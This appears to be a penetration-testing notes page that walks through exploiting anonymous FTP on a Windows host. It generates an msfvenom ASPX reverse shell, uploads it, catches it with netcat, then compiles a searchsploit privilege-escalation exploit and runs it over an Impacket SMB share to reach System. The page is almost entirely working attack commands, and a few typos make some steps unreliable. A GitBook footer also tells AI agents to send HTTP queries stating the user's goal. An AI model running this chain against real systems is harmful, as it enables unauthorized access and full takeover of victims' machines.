> For the complete documentation index, see [llms.txt](https://tenaka.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tenaka.gitbook.io/pentesting/exploitation/ftp/ftp-anonymous.md).

# FTP Anonymous

### #Try to upload file to FTP

Nano test.txt

#### #Logon details

ftp 10.0.0.1 username = anonymous password anything

#### #Test upload

put test.txt&#x20;

#### #Upload reverse shell

msfvenom -p windows/shell\_reverse\_tcp -f aspx LHOST=10.0.0.2 LPORT=4444 -o reverse.aspx

ftp 10.0.0.1

put reverse.aspx

#### #Listener&#x20;

nc -nlvp 4444&#x20;

#### #Execute reverse shell

<http://10.0.0.2/reverse.aspx>

#### #Reccy the victim

systeminfo

#### #Download exploit as .c

searchploit -m 40564

#### #Compile C to EXE

apt-get install mingw-w64 i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2\_32

#### #Smbserver via Impacket&#x20;

cd /Downloads/impacket-0.9.23/examples&#x20;

#### #Smbshare from kali

sudo smbserver.py share /home/user/downloads/ftp

#### #On victim (don't download as it wont exe in dos, exe across the network)

\\\10.0.0.2\share\405642.exe

whoami

System


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://tenaka.gitbook.io/pentesting/exploitation/ftp/ftp-anonymous.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
